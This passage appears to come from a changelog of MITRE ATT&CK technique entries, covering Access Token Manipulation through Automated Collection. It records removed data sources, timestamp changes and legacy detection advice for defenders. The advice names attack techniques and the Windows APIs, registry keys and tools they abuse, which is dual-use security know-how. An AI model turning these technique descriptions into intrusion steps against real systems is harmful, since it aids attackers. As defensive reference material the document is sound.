x_mitre_detectionMonitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). + +Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. + +On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. + +There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.

[T1134] Access Token Manipulation

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution', 'User Account: User Account Metadata', 'Process: Process Metadata', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:21.869000+00:002025-10-24 17:49:29.051000+00:00
x_mitre_detectionIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) + +If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. + +There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information. + +Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation) + +Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.

[T1546.008] Event Triggered Execution: Accessibility Features

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:41.211000+00:002025-10-24 17:48:56.964000+00:00
x_mitre_detectionChanges to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.

[T1087] Account Discovery

Current version: 2.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:41.600000+00:002025-10-24 17:48:57.239000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)

[T1098] Account Manipulation

Current version: 2.8

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification', 'File: File Modification', 'Group: Group Modification', 'User Account: User Account Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:54.718000+00:002025-10-24 17:49:10.273000+00:00
x_mitre_detectionCollect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) + +Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. + +Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)

[T1650] Acquire Access

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:43:51.840000+00:002025-10-24 17:49:25.997000+00:00
x_mitre_detectionMuch of this takes place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1595] Active Scanning

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:44:26.959000+00:002025-10-24 17:48:53.018000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1547.014] Boot or Logon Autostart Execution: Active Setup

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:13.464000+00:002025-10-24 17:48:31.226000+00:00
x_mitre_detectionMonitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

[T1137.006] Office Application Startup: Add-ins

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:45:27.400000+00:002025-10-24 17:48:37.911000+00:00
x_mitre_detectionMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior

[T1098.001] Account Manipulation: Additional Cloud Credentials

Current version: 2.8

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Modification', 'Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:45:50.674000+00:002025-10-24 17:49:04.839000+00:00
x_mitre_detectionMonitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. + +Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.

[T1098.003] Account Manipulation: Additional Cloud Roles

Current version: 2.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:46:09.054000+00:002025-10-24 17:48:35.082000+00:00
x_mitre_detectionCollect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.

[T1098.002] Account Manipulation: Additional Email Delegate Permissions

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Group: Group Modification', 'Application Log: Application Log Content', 'User Account: User Account Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:47:23.761000+00:002025-10-24 17:49:32.801000+00:00
x_mitre_detectionMonitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. + +Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. + +A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.

[T1557] Adversary-in-the-Middle

Current version: 2.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:02.209000+00:002025-10-24 17:48:20.163000+00:00
x_mitre_detectionMonitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.

[T1546.009] Event Triggered Execution: AppCert DLLs

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Command: Command Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:44.894000+00:002025-10-24 17:49:00.663000+00:00
x_mitre_detectionMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) + +Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) + +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

[T1546.010] Event Triggered Execution: AppInit DLLs

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:21.193000+00:002025-10-24 17:49:24.008000+00:00
x_mitre_detectionMonitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) + +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

[T1059.002] Command and Scripting Interpreter: AppleScript

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:22.484000+00:002025-10-24 17:48:39.348000+00:00
x_mitre_detectionMonitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. + +Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

[T1550.001] Use Alternate Authentication Material: Application Access Token

Current version: 1.8

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Web Credential: Web Credential Usage']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.277000+00:002025-10-24 17:49:35.227000+00:00
x_mitre_detectionMonitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)

[T1499.003] Endpoint Denial of Service: Application Exhaustion Flood

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:48:39.804000+00:002025-10-24 17:48:27.259000+00:00
x_mitre_detectionDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. + +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.

[T1071] Application Layer Protocol

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:21.401000+00:002025-10-24 17:48:38.368000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

[T1546.011] Event Triggered Execution: Application Shimming

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:29.459000+00:002025-10-24 17:48:42.703000+00:00
x_mitre_detectionThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + +* Shim-Process-Scanner - checks memory of every running process for any shim flags +* Shim-Detector-Lite - detects installation of custom shim databases +* Shim-Guard - monitors registry for any shim installations +* ShimScanner - forensic tool to find active shims in memory +* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + +Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.

[T1010] Application Window Discovery

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:49:50.019000+00:002025-10-24 17:48:44.488000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1499.004] Endpoint Denial of Service: Application or System Exploitation

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:50:12.334000+00:002025-10-24 17:48:34.531000+00:00
x_mitre_detectionAttacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.

[T1560] Archive Collected Data

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Script: Script Execution', 'Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:50:30.319000+00:002025-10-24 17:48:48.023000+00:00
x_mitre_detectionArchival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. + +A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. + +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

[T1560.003] Archive Collected Data: Archive via Custom Method

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:50:49.814000+00:002025-10-24 17:48:26.190000+00:00
x_mitre_detectionCustom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.

[T1560.002] Archive Collected Data: Archive via Library

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Script: Script Execution', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:51:09.003000+00:002025-10-24 17:48:42.345000+00:00
x_mitre_detectionMonitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. + +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

[T1560.001] Archive Collected Data: Archive via Utility

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:51:23.078000+00:002025-10-24 17:48:19.477000+00:00
x_mitre_detectionCommon utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. + +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

[T1588.007] Obtain Capabilities: Artificial Intelligence

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:05.447000+00:002025-10-24 17:48:23.190000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).

[T1573.002] Encrypted Channel: Asymmetric Cryptography

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:03.664000+00:002025-10-24 17:49:18.961000+00:00
x_mitre_detectionSSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) + +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1055.004] Process Injection: Asynchronous Procedure Call

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:11.435000+00:002025-10-24 17:49:00.298000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1053.002] Scheduled Task/Job: At

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Scheduled Job: Scheduled Job Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:21.266000+00:002025-10-24 17:49:36.495000+00:00
x_mitre_detectionMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. + +Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) + +* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered +* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated +* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted +* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created +* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled +* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) + +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. + +In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. + +Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019) + +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).

[T1123] Audio Capture

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:51:52.461000+00:002025-10-24 17:48:24.702000+00:00
x_mitre_detectionDetection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.

[T1547.002] Boot or Logon Autostart Execution: Authentication Package

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:19.684000+00:002025-10-24 17:49:17.208000+00:00
x_mitre_detectionMonitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

[T1119] Automated Collection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Command: Command Execution', 'File: File Access', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:18.743000+00:002025-10-24 17:48:35.995000+00:00
